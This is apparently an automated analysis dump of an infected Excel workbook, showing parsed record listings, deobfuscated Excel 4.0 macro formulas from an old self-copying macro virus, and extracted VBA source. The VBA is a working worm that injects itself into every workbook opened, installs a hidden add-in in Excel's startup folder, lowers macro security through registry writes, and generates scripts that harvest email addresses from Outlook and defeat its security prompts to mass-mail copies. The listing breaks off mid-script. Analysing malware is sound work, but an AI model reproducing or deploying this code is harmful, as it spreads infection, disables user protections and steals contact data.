' 0018     78 LABEL : Cell Value, String Constant - Values_Entered len=49 ptgNameA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'5\x00\x00\x00c2\x00\x00\x00\x05c7\x00\x00\x00\x05c6\x00\x00\x00\x05\x1e\x00\x00\r\x19\x02\x07\x00\x1e\x01\x00\x19\x08\n\x00\x1e\x00\x00\x19\x08\x03\x00"\x03\x01\x00'
' 0018    127 LABEL : Cell Value, String Constant - wrn.Cash._.Flow._.Trackers. hidden len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x01\x000R\xaf\x01'
' 0018    568 LABEL : Cell Value, String Constant - wrn.Full._.Package._.Print. hidden len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\t\x00\xfcR\xaf\x01'
' 0018     24 LABEL : Cell Value, String Constant - ww len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x03\x00\x03\x00'
' 0018     34 LABEL : Cell Value, String Constant - Z32_Cost_red len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\n\n\n\n'
' 0018     30 LABEL : Cell Value, String Constant - Zustand1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x01\x00\x01\x00'
' 0018     30 LABEL : Cell Value, String Constant - Zustand2 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant -   ^JT len=7 ptgMemAreaV  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'UchHh<'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  00000pp,C1,WORKBOOK.HIDE("00000ppy"),""
'  00000pp,C4,RUN(C18),""
'  00000pp,C5,"ERROR(TRUE,Continue)",""
'  00000pp,C6,IF(A4=3),""
'  00000pp,C7,RETURN(),""
'  00000pp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  00000pp,C9,ERROR(FALSE),""
'  00000pp,C10,RUN(A21),""
'  00000pp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  00000pp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  00000pp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  00000pp,C14,RETURN(),""
'  00000pp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  00000pp,A16,"ALERT("?1998 The Narkotic Network",2)",""
'  00000pp,A17,RETURN(),""
'  00000pp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  00000pp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  00000pp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  00000pp,A21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  00000pp,A22,"ERROR(TRUE,MakeIt)",""
'  00000pp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"00000ppy"))",""
'  00000pp,A23,IF(A21=0),""
'  00000pp,C23,RETURN(),""
'  00000pp,A24,RETURN(),""
'  00000pp,I25,*STACKERROR* not enough arguments for function: END.IF,""
'  00000pp,A26,NEW(1),""
'  00000pp,A27,WORKBOOK.INSERT(1),""
'  00000pp,C27,RUN(C19),""
'  00000pp,A28,WORKBOOK.INSERT(1),""
'  00000pp,C28,"ERROR(TRUE,Bust)",""
'  00000pp,A29,ACTIVATE.PREV(),""
'  00000pp,C29,IF(A4=3),""
'  00000pp,A30,RUN(C18),""
'  00000pp,C30,RETURN(),""
'  00000pp,A31,"WORKBOOK.COPY("00000ppy",A1)",""
'  00000pp,C31,ERROR(FALSE),""
'  00000pp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  00000pp,C32,ACTIVATE.PREV(),""
'  00000pp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  00000pp,C33,RUN(C19),""
'  00000pp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  00000pp,C34,"WORKBOOK.COPY("00000ppy",A1)",""
'  00000pp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  00000pp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  00000pp,A36,WORKBOOK.PREV(),""
'  00000pp,C36,RETURN(),""
'  00000pp,A37,WORKBOOK.PREV(),""
'  00000pp,A38,WORKBOOK.PREV(),""
'  00000pp,A39,SAVE.AS(A3),""
'  00000pp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  00000pp,A40,FILE.CLOSE(),""
'  00000pp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  00000pp,A41,RETURN(),""
'  00000pp,C41,RETURN(),""
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28017 bytes
SHA-256: 1f8de2e9d5dc55d979829f7c06458be410dda8bcdde5b56b7d9e7b508bc8b99f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public WithEvents xx As Application
Attribute xx.VB_VarHelpID = -1
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ToDOLE"
Private Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
  Application.ScreenUpdating = False
  Call delete_this_wk
  Call copytoworkbook
  If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
  ThisWorkbook.Save
  Application.ScreenUpdating = True
End If
End Sub
Private Sub copytoworkbook()
  Const DQUOTE = """"
  With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call do_what"
.InsertLines 7, "End Sub"
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 9, "On Error Resume Next"
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 12, "Major:=5, Minor:=3"
.InsertLines 13, "Application.ScreenUpdating = False"
.InsertLines 14, "Application.DisplayAlerts = False"
.InsertLines 15, "copystart wb"
.InsertLines 16, "Application.ScreenUpdating = True"
.InsertLines 17, "End Sub"

End With
End Sub

Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule

Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
    .DeleteLines 1, .CountOfLines
End With

End Sub
Function do_what()
If ThisWorkbook.Path <> Application.StartupPath Then
  RestoreAfterOpen
  Call OpenDoor
  Call Microsofthobby
  Call ActionJudge
End If
End Function
Function copystart(ByVal wb As Workbook)
On Error Resume Next

Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("k4.xls").VBProject
Set VBProj2 = wb.VBProject

If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
End Function

Function copymodule(ModuleName As String, _
    FromVBProject As VBIDE.VBProject, _
    ToVBProject As VBIDE.VBProject, _
    OverwriteExisting As Boolean) As Boolean
   
    On Error Resume Next

    Dim VBComp As VBIDE.VBComponent
    Dim FName As String
    Dim CompName As String
    Dim S As String
    Dim SlashPos As Long
    Dim ExtPos As Long
    Dim TempVBComp As VBIDE.VBComponent
    
    If FromVBProject Is Nothing Then
        copymodule = False
        Exit Function
    End If
    
    If Trim(ModuleName) = vbNullString Then
        copymodule = False
        Exit Function
    End If
    
    If ToVBProject Is Nothing Then
        copymodule = False
        Exit Function
    End If
    
    If FromVBProject.Protection = vbext_pp_locked Then
        copymodule = False
        Exit Function
    End If
    
    If ToVBProject.Protection = vbext_pp_locked Then
        copymodule = False
        Exit Function
    End If
    
    On Error Resume Next
    Set VBComp = FromVBProject.VBComponents(ModuleName)
    If Err.Number <> 0 Then
        copymodule = False
        Exit Function
    End If
   
    FName = Environ("Temp") & "\" & ModuleName & ".bas"
    If OverwriteExisting = True Then
       
        If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
            Err.Clear
            Kill FName
            If Err.Number <> 0 Then
                copymodule = False
                Exit Function
            End If
        End If
        With ToVBProject.VBComponents
            .Remove .Item(ModuleName)
        End With
    Else
        
        Err.Clear
        Set VBComp = ToVBProject.VBComponents(ModuleName)
        If Err.Number <> 0 Then
            If Err.Number = 9 Then
               
            Else
               
                copymodule = False
                Exit Function
            End If
        End If
    End If
   
    FromVBProject.VBComponents(ModuleName).Export FileName:=FName
   
    SlashPos = InStrRev(FName, "\")
    ExtPos = InStrRev(FName, ".")
    CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
    
    Set VBComp = Nothing
    Set VBComp = ToVBProject.VBComponents(CompName)
    
    If VBComp Is Nothing Then
        ToVBProject.VBComponents.Import FileName:=FName
    Else
        If VBComp.Type = vbext_ct_Document Then
            
            Set TempVBComp = ToVBProject.VBComponents.Import(FName)
           
            With VBComp.CodeModule
                .DeleteLines 1, .CountOfLines
                S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
                .InsertLines 1, S
            End With
            On Error GoTo 0
            ToVBProject.VBComponents.Remove TempVBComp
        End If
    End If
    Kill FName
    copymodule = True
End Function

Function Microsofthobby()
Dim myfile0 As String
Dim MyFile As String
On Error Resume Next
myfile0 = ThisWorkbook.FullName
MyFile = Application.StartupPath & "\k4.xls"
If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False
Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus

If ThisWorkbook.Path <> Application.StartupPath Then
     Application.ScreenUpdating = False
     ThisWorkbook.IsAddin = True
     ThisWorkbook.SaveCopyAs MyFile
     ThisWorkbook.IsAddin = False
     Application.ScreenUpdating = True
End If
End Function

Function OpenDoor()
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"

KValue1 = 1
KValue2 = 1

      Call WReg(RK1, KValue1, "REG_DWORD")
      Call WReg(RK2, KValue2, "REG_DWORD")
      Call WReg(RK3, KValue1, "REG_DWORD")
      Call WReg(RK4, KValue2, "REG_DWORD")

End Function

Sub WReg(strkey As String, Value As Variant, ValueType As String)
    Dim oWshell
    Set oWshell = CreateObject("WScript.Shell")
    If ValueType = "" Then
        oWshell.RegWrite strkey, Value
    Else
        oWshell.RegWrite strkey, Value, ValueType
    End If
    Set oWshell = Nothing
End Sub


Private Sub Movemacro4(ByVal wb As Workbook)
On Error Resume Next

  Dim sht As Object

    wb.Sheets(1).Select
    Sheets.Add Type:=xlExcel4MacroSheet
    ActiveSheet.Name = "Macro1"
   
    Range("A2").Select
    ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
    Range("A3").Select
    ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
    Range("A4").Select
    ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏，关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
    Range("A5").Select
    ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
    Range("A6").Select
    ActiveCell.FormulaR1C1 = "=END.IF()"
    Range("A7").Select
    ActiveCell.FormulaR1C1 = "=RETURN()"
    
    For Each sht In wb.Sheets
    wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
    Next
    wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
End Sub

Private Function WorkbookOpen(WorkBookName As String) As Boolean
  WorkbookOpen = False
  On Error GoTo WorkBookNotOpen
  If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
    WorkbookOpen = True
    Exit Function
  End If
WorkBookNotOpen:
End Function

Private Sub ActionJudge()
Const T1 As Date = "10:00:00"
Const T2 As Date = "11:00:00"
Const T3 As Date = "14:00:00"
Const T4 As Date = "15:00:00"
Dim SentTime As Date, WshShell

Set WshShell = CreateObject("WScript.Shell")
If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")), "OUTLOOK.EXE") > 0 Then Exit Sub

If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
      If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
           Exit Sub
      Else
           CreateFile "1", "D:\Collected_Address:frag1.txt"
           search_in_OL
      End If
Else
     If Not if_outlook_open Then Exit Sub
     If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
          Exit Sub
     Else
          SentTime = DateAdd("n", -21, Now)
          On Error GoTo timeError
          SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
timeError:
          If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
                Exit Sub
          Else
                CreateFile "", "D:\Collected_Address:frag1.txt"
                CreateFile Now, "D:\Collected_Address:frag2.txt"
                CreatCab_SendMail
          End If
     End If
End If
End Sub


Private Sub search_in_OL()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object

On Error Resume Next
Set fs = CreateObject("scripting.filesystemobject")
Set WshShell = CreateObject("WScript.Shell")

If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
AddVbsFile_clear = "E:\KK\" & AttName & "_clear.vbs"
i = FreeFile
Open AddVbsFile_clear For Output Access Write As #i

Print #i, "On error Resume Next"
Print #i, "Dim wsh, tle, T0, i"
Print #i, "  T0 = Timer"
Print #i, "  Set wsh=createobject(""" & "wscript.shell""" & ")"
Print #i, "  tle = """ & "Microsoft Office Outlook""" & ""
Print #i, "For i = 1 To 1000"
Print #i, "    If Timer - T0 > 60 Then Exit For"
Print #i, "  Call Refresh()"
Print #i, "  wscript.sleep 05"
Print #i, "  wsh.sendKeys """ & "%a""" & ""
Print #i, "  wscript.sleep 05"
Print #i, "  wsh.sendKeys """ & "{TAB}{TAB}""" & ""
Print #i, "  wscript.sleep 05"
Print #i, "  wsh.sendKeys """ & "{Enter}""" & ""
Print #i, "Next"
Print #i, "Set wsh = Nothing"
Print #i, "wscript.quit"
Print #i, "Sub Refresh()"
Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
Print #i, "    If Timer - T0 > 60 Then Exit Sub"
Print #i, "Loop"
Print #i, "  wscript.sleep 05"
Print #i, "    wsh.SendKeys """ & "%{F4}""" & ""
Print #i, "End Sub"
Close (i)

AddVbsFile_search = "E:\KK\" & AttName & "_Search.vbs"
i = FreeFile
Open AddVbsFile_search For Output Access Write As #i

Print #i, "On error Resume Next"
Print #i, "Const olFolderInbox = 6"
Print #i, "Dim conbinded_address,WshShell,sh,ts"
Print #i, "Set WshShell=WScript.CreateObject(""" & "WScript.Shell""" & ")"
Print #i, "Set objOutlook = CreateObject(""" & "Outlook.Application""" & ")"
Print #i, "Set objNamespace = objOutlook.GetNamespace(""" & "MAPI""" & ")"
Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
Print #i, "Set TargetFolder = objFolder"
Print #i, "conbinded_address = """ & """" & ""
Print #i, "Set colItems = TargetFolder.Items"
Print #i, "wscript.sleep 300000"
Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
Print #i, "ts = Timer"
Print #i, "For Each objMessage in colItems"
Print #i, "       If Timer - ts >55 then exit For"
Print #i, "       conbinded_address = conbinded_address & valid_address(objMessage.Body)"
Print #i, "Next"
Print #i, "add_text conbinded_address, 8"
Print #i, "add_text all_non_same(ReadAllTextFile), 2"
Print #i, "WScript.Quit"
Print #i, ""
Print #i, "Private Function valid_address(source_data)"
Print #i, "   Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
Print #i, "   Dim regex, matchs, ss, arr()"
Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
Print #i, "   Set regex = CreateObject(""" & "VBSCRIPT.REGEXP""" & ")"
Print #i, ""
Print #i, "   regex.Global = True"
Print #i, "   regex.Pattern = """ & "\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" & ""
Print #i, "   Set matchs = regex.Execute(source_data)"
Print #i, "   ReDim trimed_arr(matchs.Count - 1)"
Print #i, "   For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
Print #i, "        trimed_arr(i) = matchs.Item(i) & vbCrLf"
Print #i, "   Next"
Print #i, ""
Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, "        oDict(trimed_arr(i)) = """ & """" & ""
Print #i, "   Next"
Print #i, ""
Print #i, "   If oDict.Count > 0 Then"
Print #i, "        nonsame_arr = oDict.keys"
Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, "             valid_address = valid_address & nonsame_arr(i)"
Print #i, "        Next"
Print #i, "   End If"
Print #i, "   Set oDict = Nothing"
Print #i, "End Function"
Print #i, ""
Print #i, "Private Sub add_text(inputed_string, input_frag)"
Print #i, "   Dim objFSO, logfile, logtext, log_path, log_folder"
Print #i, "   log_path = """ & "D:\Collected_Address""" & ""
Print #i, "   Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, "   On Error resume next"
Print #i, "   Set log_folder = objFSO.CreateFolder(log_path)"
Print #i, ""
Print #i, "   If objFSO.FileExists(log_path & """ & "\log.txt""" & ") = 0 Then"
Print #i, "       Set logfile = objFSO.CreateTextFile(log_path & """ & "\log.txt""" & ", True)"
Print #i, "   End If"
Print #i, "   Set log_folder = Nothing"
Print #i, "   Set logfile = Nothing"
Print #i, ""
Print #i, "   Select Case input_frag"
Print #i, "     Case 8"
Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 8, True, -1)"
Print #i, "          logtext.Write inputed_string"
Print #i, "          logtext.Close"
Print #i, "     Case 2"
Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 2, True, -1)"
Print #i, "          logtext.Write inputed_string"
Print #i, "          logtext.Close"
Print #i, "   End Select"
Print #i, "   set objFSO = nothing"
Print #i, "End Sub"
Print #i, ""
Print #i, "Private Function ReadAllTextFile()"
Print #i, "    Dim objFSO, FileName, MyFile"
Print #i, "    FileName = """ & "D:\Collected_Address\log.txt""" & ""
Print #i, "    Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, "    Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
Print #i, "    If MyFile.AtEndOfStream Then"
Print #i, "        ReadAllTextFile = """ & """" & ""
Print #i, "    Else"
Print #i, "        ReadAllTextFile = MyFile.ReadAll"
Print #i, "    End If"
Print #i, "set objFSO = nothing"
Print #i, "End Function"
Print #i, ""
Print #i, "Private Function all_non_same(source_data)"
Print #i, "   Dim oDict, i, trimed_arr, nonsame_arr"
Print #i, "   all_non_same = """ & """" & ""
Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
Print #i, ""
Print #i, "   trimed_arr = Split(source_data, vbCrLf)"
Print #i, ""
Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, "         oDict(trimed_arr(i)) = """ & """" & ""
Print #i, "   Next"
Print #i, ""
Print #i, "   If oDict.Count > 0 Then"
Print #i, "        nonsame_arr = oDict.keys"
Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, "             all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"
Print #i, "        Next"
Print #i, "   End If"
Print #i, "   Set oDict = Nothing"
Print #i, "End Function"
Close (i)
Application.WindowState = xlMaximized
WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False
Set WshShell = Nothing
End Sub

Private Sub CreatCab_SendMail()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
Dim fs As Object, WshShell As Object
Address_list = get_ten_address

Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("scripting.filesystemobject")
If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
mail_sub = "*" & AttName & "*Message*"
AddVbsFile = "E:\sorce\" & AttName & "_Key.vbs"
i = FreeFile
Open AddVbsFile For Output Access Write As #i
    
Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
